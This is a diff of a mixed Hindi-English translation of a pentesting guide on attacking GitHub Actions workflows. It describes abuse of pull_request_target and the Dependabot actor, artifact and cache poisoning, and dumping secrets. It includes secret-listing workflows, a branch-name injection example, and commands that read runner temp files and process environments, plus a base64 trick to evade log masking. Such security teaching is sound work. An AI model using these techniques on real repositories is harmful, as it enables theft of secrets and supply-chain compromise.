diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
index 67d1500c0..d41c8690d 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
@@ -1,58 +1,58 @@
-# Abusing Github Actions
+# Github Actions का दुरुपयोग
{{#include ../../../banners/hacktricks-training.md}}
-## टूल्स
+## Tools
-The following tools are useful to find Github Action workflows and even find vulnerable ones:
+निम्नलिखित उपकरण Github Action workflows खोजने और यहाँ तक कि संभावित vulnerable ones पहचानने में उपयोगी हैं:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
-- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
+- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - इसकी checklist भी देखें: [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
-## मूल जानकारी
+## Basic Information
इस पृष्ठ में आप पाएँगे:
-- किसी attacker द्वारा Github Action तक पहुँचने पर होने वाले **सभी प्रभावों का सारांश**
-- एक action तक पहुँचने के विभिन्न तरीके:
-- action बनाने की **permissions** होना
-- **pull request** संबंधित triggers का दुरुपयोग
-- अन्य **external access** तकनीकों का दुरुपयोग
-- पहले से compromised repo से **Pivoting**
-- अंत में, action के अंदर से दुरुपयोग करने के लिए **post-exploitation techniques** के बारे में एक सेक्शन (जो ऊपर बताए गए प्रभावों का कारण बनते हैं)
+- एक **सभी प्रभावों का सारांश** जब कोई attacker Github Action तक access प्राप्त कर ले
+- किसी action तक **access प्राप्त करने** के विभिन्न तरीके:
+ - Action बनाने के लिए **permissions** होना
+ - **pull request** से जुड़े triggers का दुरुपयोग
+ - अन्य **external access** तकनीकों का दुरुपयोग
+ - पहले से compromised repo से **Pivoting**
+- अंत में, एक सेक्शन **post-exploitation techniques** के बारे में ताकि action के अंदर से उसे abuse किया जा सके (और बताए गए प्रभाव उत्पन्न हों)
-## प्रभावों का सारांश
+## Impacts Summary
-For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
+Github Actions के परिचय के लिए [**basic information देखें**](../basic-github-information.md#github-actions).
-If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to:
+यदि आप किसी **repository** के भीतर GitHub Actions में arbitrary code execute कर सकते हैं, तो आप संभवतः निम्न कर पाएँगे:
-- pipeline में mounted **secrets** चुरा सकते हैं और बाहरी प्लेटफ़ॉर्म्स, जैसे AWS और GCP तक unauthorized access पाने के लिए pipeline के privileges का **abuse** कर सकते हैं।
-- deployments और अन्य **artifacts** को compromise कर सकते हैं।
-- यदि pipeline assets को deploy या store करती है, तो आप final product में बदलाव कर सकते हैं, जिससे supply chain attack संभव हो जाता है।
-- custom workers में code execute करके computing power का दुरुपयोग कर सकते हैं और अन्य सिस्टमों की ओर pivot कर सकते हैं।
-- `GITHUB_TOKEN` से जुड़ी permissions के आधार पर repository के code को overwrite कर सकते हैं।
+- **Steal secrets** mounted to the pipeline और external platforms (जैसे AWS और GCP) में unauthorized access पाने के लिए pipeline की **abuse the pipeline's privileges** कर सकते हैं।
+- **Compromise deployments** और अन्य **artifacts**।
+- यदि pipeline assets को deploy या store करता है, तो आप final product को बदल सकते हैं, जिससे supply chain attack संभव हो सकता है।
+- **Execute code in custom workers** करके computing power का दुरुपयोग कर सकते हैं और अन्य systems की ओर pivot कर सकते हैं।
+- `GITHUB_TOKEN` से जुड़ी permissions पर निर्भर करते हुए, आप **Overwrite repository code** भी कर सकते हैं।
## GITHUB_TOKEN
-This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
+यह "**secret**" (जो `${{ secrets.GITHUB_TOKEN }}` और `${{ github.token }}` से आता है) तब दिया जाता है जब admin इस option को enable करता है:
-This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+यह token वही है जिसका उपयोग एक **Github Application** करेगा, इसलिए यह वही endpoints access कर सकता है: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
-> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
+> Github को एक [**flow**](https://github.com/github/roadmap/issues/74) जारी करना चाहिए जो GitHub के भीतर **cross-repository** access की अनुमति दे, ताकि एक repo अन्य internal repos को `GITHUB_TOKEN` का उपयोग करके access कर सके।
-You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
+आप इस token की संभावित **permissions** यहाँ देख सकते हैं: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
-Note that the token **expires after the job has completed**.\
-These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
+ध्यान दें कि यह token **job पूरा होने के बाद expire हो जाता है**.\
+ये tokens इस तरह दिखते हैं: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
-Some interesting things you can do with this token:
+कुछ रोचक चीज़ें जो आप इस token से कर सकते हैं:
{{#tabs }}
{{#tab name="Merge PR" }}
@@ -95,7 +95,7 @@ https://api.github.com/repos///pulls \
-Github Action output में secrets सूचीबद्ध करें
+Github Action output में secrets की सूची
```yaml
name: list_env
on:
@@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
+यह संभव है कि आप अन्य उपयोगकर्ताओं के रिपॉजिटरी में Github Token को दी गई permissions की जाँच कर सकें **checking the logs** of the actions:
## अनुमत निष्पादन
> [!NOTE]
-> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**.
+> यह Github actions को compromise करने का सबसे आसान तरीका होगा, क्योंकि इस केस में माना गया है कि आपके पास **create a new repo in the organization** करने की पहुँच है, या किसी रिपॉजिटरी पर **write privileges over a repository** हैं।
>
> यदि आप इस परिदृश्य में हैं तो आप बस [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) देख सकते हैं।
-### Repo Creation से निष्पादन
+### Execution from Repo Creation
-यदि किसी संगठन के सदस्य **create new repos** कर सकते हैं और आप github actions चला सकते हैं, तो आप **create a new repo and steal the secrets set at organization level** कर सकते हैं।
+यदि किसी organization के सदस्य **create new repos** कर सकते हैं और आप github actions execute कर सकते हैं, तो आप **create a new repo and steal the secrets set at organization level** कर सकते हैं।
-### New Branch से निष्पादन
+### Execution from a New Branch
-यदि आप किसी repository में **create a new branch in a repository that already contains a Github Action** configured कर सकते हैं, तो आप इसे **modify** कर सकते हैं, content को **upload** कर सकते हैं, और फिर उस action को **execute that action from the new branch** कर सकते हैं। इस तरह आप **exfiltrate repository and organization level secrets** कर सकते हैं (लेकिन आपको पता होना चाहिए कि उन्हें क्या कहा जाता है)।
+यदि आप किसी repository में **create a new branch in a repository that already contains a Github Action** configured कर सकते हैं, तो आप इसे **modify** कर सकते हैं, content **upload** कर सकते हैं, और फिर **execute that action from the new branch** कर सकते हैं। इस तरह आप **exfiltrate repository and organization level secrets** कर सकते हैं (लेकिन आपको पता होना चाहिए कि उन्हें क्या नाम दिया गया है)।
> [!WARNING]
-> Any restriction implemented only inside workflow YAML (for example, `on: push: branches: [main]`, job conditionals, or manual gates) can be edited by collaborators. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions.
+> यदि कोई restriction केवल workflow YAML के भीतर लागू की गई है (उदाहरण के लिए, `on: push: branches: [main]`, job conditionals, or manual gates) तो collaborators उसे edit कर सकते हैं। बाहरी प्रवर्तन (branch protections, protected environments, and protected tags) के बिना, एक contributor किसी workflow को उनके branch पर चलाने के लिए retarget कर सकता है और mounted secrets/permissions का दुरुपयोग कर सकता है।
-आप संशोधित action को **manually,** जब **PR is created** या जब **some code is pushed** के समय executable बना सकते हैं (निर्भर करता है कि आप कितना noisy होना चाहते हैं):
+आप modified action को **manually,** जब एक **PR is created** या जब **some code is pushed** (यह निर्भर करता है कि आप कितना noisy होना चाहते हैं) executable बना सकते हैं:
```yaml
on:
workflow_dispatch: # Launch manually
@@ -180,47 +180,47 @@ branches:
```
---
-## Forked निष्पादन
+## Forked Execution
> [!NOTE]
-> अलग-अलग ट्रिगर्स हैं जो एक attacker को **किसी अन्य रिपॉज़िटरी के Github Action को execute** करने की अनुमति दे सकते हैं। अगर उन triggerable actions को ठीक से configured नहीं किया गया है, तो एक attacker उन्हें compromise कर सकता है।
+> विभिन्न triggers हैं जो एक हमलावर को **execute a Github Action of another repository** करने की अनुमति दे सकते हैं। यदि उन triggerable actions का configuration खराब है, तो हमलावर उन्हें compromise कर सकता है।
### `pull_request`
-The workflow trigger **`pull_request`** हर बार workflow को execute करेगा जब एक pull request प्राप्त होता है, कुछ exceptions के साथ: डिफ़ॉल्ट रूप से अगर यह आपकी **पहली बार** collaboration है, तो किसी **maintainer** को workflow के **run** को **approve** करना होगा:
+The workflow trigger **`pull_request`** वर्कफ़्लो को हर बार execute करेगा जब भी एक pull request प्राप्त होगा, कुछ अपवादों के साथ: डिफ़ॉल्ट रूप से अगर यह आपकी **first time** **collaborating** है, तो किसी **maintainer** को workflow के **run** को **approve** करना होगा:
> [!NOTE]
-> चूंकि यह **default limitation** **first-time** contributors के लिए है, आप एक वैध bug/typo fix करके contribute कर सकते हैं और फिर अपने नए `pull_request` privileges का दुरुपयोग करने के लिए **other PRs** भेज सकते हैं।
+> चूँकि यह **default limitation** पहली बार योगदान करने वालों पर लागू होती है, आप एक वैध **fixing a valid bug/typo** का योगदान करके फिर अपने नए `pull_request` privileges का दुरुपयोग करने के लिए अन्य PR भेज सकते हैं।
>
-> **मैंने इसे टेस्ट किया और यह काम नहीं करता**: ~~एक और विकल्प यह होगा कि उस व्यक्ति के नाम से एक account बनाया जाए जिसने प्रोजेक्ट में योगदान दिया था और फिर उसने अपना account delete कर दिया था।~~
+> **मैंने इसे टेस्ट किया और यह काम नहीं करता**: ~~एक और विकल्प यह होगा कि किसी ऐसे व्यक्ति के नाम से एक account बनाया जाए जिसने परियोजना में योगदान दिया था और फिर उसने अपना account हटा दिया।~~
-Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
+इसके अलावा, डिफ़ॉल्ट रूप से यह target repository को **prevents write permissions** और **secrets access** नहीं देता जैसा कि [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) में उल्लेख है:
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
-एक attacker Github Action की definition को modify करके arbitrary चीज़ें execute करने और arbitrary actions जोड़ने की कोशिश कर सकता है। हालांकि, उपरोक्त सीमाओं के कारण वह secrets चोरी नहीं कर पाएगा और repo को overwrite नहीं कर पाएगा।
+एक हमलावर Github Action की definition को बदल सकता है ताकि arbitrary चीज़ें execute की जा सकें और arbitrary actions जोड़ी जा सकें। हालांकि, बताए गए सीमाओं के कारण वह secrets चुरा नहीं पाएगा या repo को overwrite नहीं कर पाएगा।
> [!CAUTION]
-> **हाँ, अगर attacker ने PR में उस github action को बदल दिया है जो trigger होगा, तो उसका Github Action ही उपयोग किया जाएगा न कि origin repo का!**
+> **हाँ, अगर हमलावर PR में उस github action को बदल देता है जो trigger होगा, तो उसका Github Action ही उपयोग होगा न कि origin repo का!**
-क्योंकि attacker उस code को भी control करता है जो execute हो रहा है, भले ही `GITHUB_TOKEN` पर secrets या write permissions न हों, attacker उदाहरण के लिए **upload malicious artifacts** कर सकता है।
+चूंकि हमलावर उस code को भी नियंत्रित करता है जो execute किया जा रहा है, भले ही `GITHUB_TOKEN` पर secrets या write permissions न हों, हमलावर उदाहरण के लिए **upload malicious artifacts** कर सकता है।
### **`pull_request_target`**
-The workflow trigger **`pull_request_target`** को target repository पर **write permission** और **access to secrets** मिलता है (और यह permission नहीं मांगता)।
+The workflow trigger **`pull_request_target`** को target repository पर **write permission** और **access to secrets** मिलता है (और यह permission के लिए पूछता नहीं है)।
-ध्यान दें कि workflow trigger **`pull_request_target`** **base context** में चलता है और PR द्वारा दिए गए context में नहीं (ताकि **untrusted code** execute न हो). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
-Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
+ध्यान दें कि workflow trigger **`pull_request_target`** **base context** में चलता है और PR द्वारा दिए गए context में नहीं (ताकि **not execute untrusted code**)। `pull_request_target` के बारे में अधिक जानकारी के लिए [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target) देखें।\
+इसके अलावा, इस विशिष्ट खतरनाक उपयोग के बारे में और जानकारी के लिए यह [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/) देखें।
-यह ऐसा लग सकता है कि क्योंकि **executed workflow** वही है जो **base** में defined है और **PR** में नहीं, इसलिए **`pull_request_target`** का उपयोग सुरक्षित है, पर कुछ मामले ऐसे हैं जहाँ यह सुरक्षित नहीं होता।
+यह ऐसा लग सकता है कि क्योंकि **executed workflow** वही है जो **base** में परिभाषित है और **not in the PR**, इसलिए **`pull_request_target`** का उपयोग करना **secure** है, पर कुछ मामलों में ऐसा नहीं होता।
-और इस एक को **secrets** तक **access** होगा।
+और यह **access to secrets** प्राप्त कर सकेगा।
### `workflow_run`
-The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger आपको एक workflow को दूसरे workflow से चलाने की अनुमति देता है जब वह `completed`, `requested` या `in_progress` हो।
+The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger एक workflow को किसी अन्य workflow द्वारा तब चलाने की अनुमति देता है जब वह `completed`, `requested` या `in_progress` हो।
In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
```yaml
@@ -232,18 +232,18 @@ types:
```
Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
-इस तरह के workflow पर हमला किया जा सकता है अगर यह किसी ऐसे **workflow** पर **depend** करता है जिसे बाहरी उपयोगकर्ता द्वारा **`pull_request`** या **`pull_request_target`** के माध्यम से **trigger** किया जा सकता है। कुछ कमजोर उदाहरण [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** पहला उदाहरण इस तरह का है कि **`workflow_run`** द्वारा ट्रिगर किया गया workflow attacker का code डाउनलोड कर रहा है: `${{ github.event.pull_request.head.sha }}`\
-दूसरा उदाहरण इसमें है कि **untrusted** code से एक **artifact** को **`workflow_run`** workflow को पास किया जाता है और उस artifact की सामग्री का उपयोग इस तरह किया जाता है कि यह **vulnerable to RCE** बन जाता है।
+इस तरह के workflow पर तब हमला किया जा सकता है जब यह किसी ऐसे **workflow** पर निर्भर हो जो किसी external user द्वारा **`pull_request`** या **`pull_request_target`** के ज़रिए **trigger** किया जा सकता है। कुछ vulnerable उदाहरण [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** पहला उदाहरण उस **`workflow_run`** triggered workflow का है जो attacker के code को डाउनलोड कर लेता है: `${{ github.event.pull_request.head.sha }}`\
+दूसरा उदाहरण उस स्थिति का है जहाँ untrusted code से एक **artifact** को **`workflow_run`** workflow में पास किया जाता है और उस artifact की content को इस तरह इस्तेमाल किया जाता है कि वह **vulnerable to RCE** हो जाता है।
### `workflow_call`
TODO
-TODO: Check if when executed from a `pull_request` the used/downloaded code if the one from the origin or from the forked PR
+TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
## Abusing Forked Execution
-हमने उन सभी तरीकों का ज़िक्र किया है जिनसे एक बाहरी attacker किसी github workflow को execute करने में कामयाब हो सकता है, अब आइए देखें कि ये executions, अगर गलत तरीके से configured हों, तो किस तरह दुरुपयोग किए जा सकते हैं:
+हमने उन सभी तरीकों का ज़िक् किया है जिनसे एक external attacker किसी GitHub workflow को execute करवाने में कामयाब हो सकता है, अब देखते हैं कि ये executions, अगर गलत कॉन्फ़िगर किए गए हों, तो कैसे दुरुपयोग किए जा सकते हैं:
### Untrusted checkout execution
@@ -299,7 +299,7 @@ gh-actions-context-script-injections.md
From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
-If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
+यदि कोई attacker इस **env** variable के अंदर कोई भी value **inject** कर सके, तो वह ऐसे env variables inject कर सकता है जो आगे के steps में code execute करवा सकते हैं, जैसे **LD_PRELOAD** या **NODE_OPTIONS**।
For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
@@ -317,18 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m
```
-Which is a problem because the `github.actor` field contains the user who caused the latest event that triggered the workflow. -> यह समस्या है क्योंकि `github.actor` फ़ील्ड उस उपयोगकर्ता को दर्शाता है जिसने workflow को ट्रिगर करने वाला नवीनतम इवेंट उत्पन्न किया।
+Which is a problem because the `github.actor` field contains the user who caused the latest event that triggered the workflow. And There are several ways to make the `dependabot[bot]` user to modify a PR. For example:
-And There are several ways to make the `dependabot[bot]` user to modify a PR. For example: -> और `dependabot[bot]` user को PR modify करने के कई तरीके हैं। उदाहरण के लिए:
-
-- Fork the victim repository
-- Add the malicious payload to your copy
-- Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code.
-- Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet)
+- पीड़ित repository को fork करें
+- अपने कॉपी में malicious payload जोड़ें
+- अपने fork पर Dependabot सक्षम करें और एक outdated dependency जोड़ें। Dependabot उस dependency को ठीक करने के लिए एक branch बनाएगा जिसमें malicious code होगा।
+- उस branch से पीड़ित रिपॉज़िटरी पर एक Pull Request खोलें (the PR will be created by the user so nothing will happen yet)
- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs `@dependabot recreate`
- Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes `dependabot[bot]` the actor of the latest event that triggered the workflow (and therefore, the workflow runs).
-Moving on, what if instead of merging the Github Action would have a command injection like in: -> आगे बढ़ते हुए, क्या होगा अगर merge करने के बजाय Github Action में इस तरह का command injection हो:
+Moving on, what if instead of merging the Github Action would have a command injection like in:
```yaml
on: pull_request_target
jobs:
@@ -338,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}
```
-ठीक है, मूल ब्लॉगपोस्ट इस व्यवहार का दुरुपयोग करने के लिए दो विकल्प प्रस्तावित करती है, जिनमें से दूसरा है:
+Well, the original blogpost proposes two options to abuse this behavior being the second one:
-- Fork the victim repository और Dependabot को किसी outdated dependency के साथ enable करें।
+- Victim repository को fork करें और किसी outdated dependency के साथ Dependabot सक्षम करें।
- एक नया branch बनाएं जिसमें malicious shell injection code हो।
-- repo का default branch उस branch में बदल दें
+- Repo का default branch उस branch पर बदल दें।
- इस branch से victim repository में एक PR बनाएं।
-- Run `@dependabot merge` in the PR Dependabot opened in his fork.
-- Dependabot आपकी forked repository के default branch में अपने changes merge कर देगा, victim repository में PR को update कर देगा, अब `dependabot[bot]` उस latest event का actor बन जाएगा जिसने workflow को trigger किया और malicious branch name का उपयोग करेगा।
+- PR में जो Dependabot ने उसके fork में खोला है, वहां `@dependabot merge` चलाएं।
+- Dependabot उसके forked repository के default branch में उनके changes को merge कर देगा, victim repository में PR को अपडेट करेगा, जिससे अब `dependabot[bot]` उस latest event का actor होगा जिसने workflow को trigger किया और malicious branch name का उपयोग किया जा रहा होगा।
-### कमज़ोर तृतीय-पक्ष Github Actions
+### Vulnerable Third Party Github Actions
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
-As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
+जैसा कि [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) में बताया गया है, यह Github Action अलग-अलग workflows और यहाँ तक कि अन्य repositories से artifacts तक access करने की अनुमति देता है।
-समस्या यह है कि अगर **`path`** parameter सेट नहीं है, तो artifact वर्तमान directory में extract हो जाता है और यह उन फ़ाइलों को overwrite कर सकता है जिन्हें बाद में workflow में इस्तेमाल या execute किया जा सकता है। इसलिए, अगर Artifact vulnerable है, तो attacker इसका दुरुपयोग करके उस Artifact पर भरोसा करने वाले अन्य workflows को compromise कर सकता है।
+समस्या यह है कि अगर **`path`** parameter सेट नहीं है, तो artifact वर्तमान directory में extract हो जाता है और यह उन फ़ाइलों को override कर सकता है जिन्हें बाद में workflow में उपयोग या execute किया जा सकता है। इसलिए, अगर Artifact vulnerable है, तो एक attacker इसका दुरुपयोग कर के उन अन्य workflows को compromise कर सकता है जो उस Artifact पर भरोसा करते हैं।
-कमज़ोर workflow का उदाहरण:
+Example of vulnerable workflow:
```yaml
on:
workflow_run:
@@ -378,7 +376,7 @@ with:
name: artifact
path: ./script.py
```
-इसे इस workflow के साथ हमला किया जा सकता है:
+इसे इस workflow से हमला किया जा सकता है:
```yaml
name: "some workflow"
on: pull_request
@@ -395,27 +393,27 @@ path: ./script.py
```
---
-## Other External Access
+## अन्य External Access
### Deleted Namespace Repo Hijacking
-अगर कोई account अपना नाम बदलता है तो कुछ समय बाद कोई और user उसी नाम के साथ account register कर सकता है। अगर किसी repository के पास नाम बदलने से पहले **100 से कम stars** थे, तो Github नए registered user को वही नाम देकर हटाए गए repository के समान **repository with the same name** बनाने की अनुमति देगा।
+अगर किसी account ने अपना नाम बदल दिया है तो कुछ समय बाद कोई अन्य user उसी नाम के साथ एक account रजिस्टर कर सकता है। अगर किसी repository के पास नाम बदलने से पहले **less than 100 stars previously to the change of nam**e थे, Github नए रजिस्टर किए गए user को उसी नाम से वही **repository with the same name** बनाने की अनुमति दे देगा जो हटाई गई थी।
> [!CAUTION]
-> इसलिए यदि कोई action किसी non-existent account के repo का उपयोग कर रहा है, तो यह अभी भी संभव है कि एक attacker वह account बना ले और action को compromise कर दे।
+> तो अगर कोई action किसी non-existent account के repo का उपयोग कर रहा है, तो attacker उस account को बना कर action को compromise कर सकता है।
-यदि अन्य repositories इस user के repos से **dependencies** उपयोग कर रहे थे, तो attacker उन्हें hijack कर पाएगा। यहां एक अधिक विस्तृत explanation है: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+अगर अन्य repositories इस user के repos से **dependencies from this user repos** इस्तेमाल कर रहे थे, तो attacker उन्हें hijack कर पाएगा। यहाँ एक अधिक विस्तृत व्याख्या है: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
## Repo Pivoting
> [!NOTE]
-> इस सेक्शन में हम उन techniques के बारे में बात करेंगे जो हमें पहले repo पर किसी तरह की access होने की स्थिति में एक repo से दूसरे repo में **pivot** करने की अनुमति देंगी (पिछले सेक्शन को देखें)।
+> इस सेक्शन में हम उन techniques के बारे में बात करेंगे जो हमें यह अनुमति देंगी कि हम **pivot from one repo to another** — मान लेते हैं कि हमारे पास पहले repo पर कुछ तरह की access है (पिछले सेक्शन देखें)।
### Cache Poisoning
-एक cache उसी branch में चलने वाले **workflow runs** के बीच maintained रहती है। इसका मतलब है कि अगर कोई attacker किसी **package** को compromise कर देता है जो cache में store हो जाता है और बाद में किसी **more privileged** workflow द्वारा **downloaded** और execute किया जाता है, तो वह उस workflow को भी **compromise** कर सकेगा।
+एक cache को वही branch में चल रहे **wokflow runs in the same branch** के बीच में रखा जाता है। इसका मतलब है कि अगर कोई attacker किसी **package** को compromise कर देता है, जो बाद में cache में store हो जाता है और किसी **more privileged** workflow द्वारा **downloaded** और execute किया जाता है, तो वह उस workflow को भी **compromise** कर सकेगा।
{{#ref}}
gh-actions-cache-poisoning.md
@@ -423,7 +421,7 @@ gh-actions-cache-poisoning.md
### Artifact Poisoning
-Workflows अन्य workflows और यहां तक कि repos से भी **artifacts** उपयोग कर सकते हैं; अगर कोई attacker उस Github Action को **compromise** कर ले जो कोई **artifact upload** करता है और वह बाद में किसी दूसरे workflow द्वारा उपयोग किया जाता है, तो वह अन्य workflows को भी **compromise** कर सकता है:
+Workflows अन्य workflows और यहाँ तक कि repos से भी **artifacts from other workflows and even repos** का उपयोग कर सकते हैं; अगर कोई attacker उस Github Action को **compromise** कर ले जो **uploads an artifact** और वह artifact बाद में किसी अन्य workflow द्वारा उपयोग किया जाता है, तो वह अन्य workflows को भी **compromise** कर सकता है:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -435,7 +433,7 @@ gh-actions-artifact-poisoning.md
### Github Action Policies Bypass
-जैसा कि [**इस ब्लॉग पोस्ट**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass) में बताया गया है, भले ही किसी repository या organization के पास कुछ actions के उपयोग को सीमित करने वाली policy हो, एक attacker बस workflow के अंदर action को `git clone` करके download कर सकता है और फिर उसे local action के रूप में reference कर सकता है। चूंकि policies local paths को प्रभावित नहीं करतीं, **the action will be executed without any restriction.**
+जैसा कि [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass) में बताया गया है, भले ही किसी repository या organization के पास कुछ actions के उपयोग को सीमित करने वाली policy हो, एक attacker बस workflow के अंदर किसी action को डाउनलोड (`git clone`) कर सकता है और फिर उसे local action के रूप में reference कर सकता है। चूँकि policies local paths को प्रभावित नहीं करतीं, **action बिना किसी restriction के execute हो जाएगा।**
Example:
```yaml
@@ -460,7 +458,7 @@ path: gha-hazmat
```
### OIDC के माध्यम से AWS और GCP तक पहुँच
-Check the following pages:
+निम्न पृष्ठ देखें:
{{#ref}}
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -472,13 +470,13 @@ Check the following pages:
### secrets तक पहुँच
-यदि आप किसी script में content inject कर रहे हैं, तो यह जानना उपयोगी है कि आप secrets तक कैसे पहुँच सकते हैं:
+यदि आप किसी script में content inject कर रहे हैं तो यह जानना उपयोगी है कि आप secrets तक कैसे पहुँच सकते हैं:
-- यदि secret या token **environment variable** में सेट है, तो इसे **`printenv`** का उपयोग करके environment से सीधे एक्सेस किया जा सकता है।
+- यदि secret या token को एक **environment variable** में सेट किया गया है, तो इसे सीधे environment के माध्यम से **`printenv`** का उपयोग करके access किया जा सकता है।
-Github Action output में secrets की सूची
+Github Action output में secrets सूचीबद्ध करें
```yaml
name: list_env
on:
@@ -528,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-- यदि secret को **directly in an expression** में उपयोग किया जाता है, तो जनरेट किया गया shell script **on-disk** पर स्टोर होता है और पहुँच योग्य होता है.
+- यदि secret का उपयोग **directly in an expression** किया जाता है, तो generated shell script **on-disk** पर स्टोर होता है और उपलब्ध रहता है।
- ```bash
cat /home/runner/work/_temp/*
```
-- JavaScript actions के लिए secrets को environment variables के माध्यम से भेजा जाता है
+- JavaScript actions के लिए secrets environment variables के माध्यम से भेजे जाते हैं
- ```bash
ps axe | grep node
```
-- एक **custom action** के लिए, जोखिम इस बात पर निर्भर कर सकता है कि प्रोग्राम उस secret का उपयोग कैसे कर रहा है जो उसे **argument** से मिला है:
+- एक **custom action** के लिए, जोखिम इस बात पर निर्भर कर सकता है कि कोई program उस **secret** का उपयोग कैसे कर रहा है जो उसे **argument** से मिला है:
```yaml
uses: fakeaction/publish@v3
@@ -544,7 +542,7 @@ with:
key: ${{ secrets.PUBLISH_KEY }}
```
-- secrets context के माध्यम से सभी secrets को enumerate करें (collaborator level). write access वाला contributor किसी भी branch पर workflow को modify करके सभी repository/org/environment secrets को dump कर सकता है. GitHub’s log masking से बचने के लिए double base64 का उपयोग करें और लोकल में decode करें:
